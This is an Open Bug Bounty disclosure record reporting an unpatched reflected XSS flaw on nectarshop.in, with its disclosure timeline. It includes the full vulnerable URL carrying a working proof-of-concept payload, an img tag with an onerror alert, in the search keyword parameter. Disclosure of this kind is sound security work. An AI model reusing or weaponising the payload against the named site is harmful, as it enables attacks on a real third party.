Lucene search

K
openbugbountyNpuser500OBB:144274
HistoryApr 01, 2016 - 12:33 p.m.

nectarshop.in XSS vulnerability

2016-04-0112:33:00
npuser500
www.openbugbounty.org
7
Vulnerable URL:
http://nectarshop.in/product-search.php?keyword=%3Cimg%20src=x%20onerror=alert%28/XSSPOSED/%29%20%3C/
Details:
Description Value
Patched: No
Latest check for patch: 26.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
Google Pagerank 0
VIP website status: No
Check nectarshop.in SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 1 April, 2016 12:33 GMT
Generic security notifications sent to website owner 1 April, 2016 12:36 GMT
Vulnerability details disclosed by researcher 29 April, 2016 13:11 GMT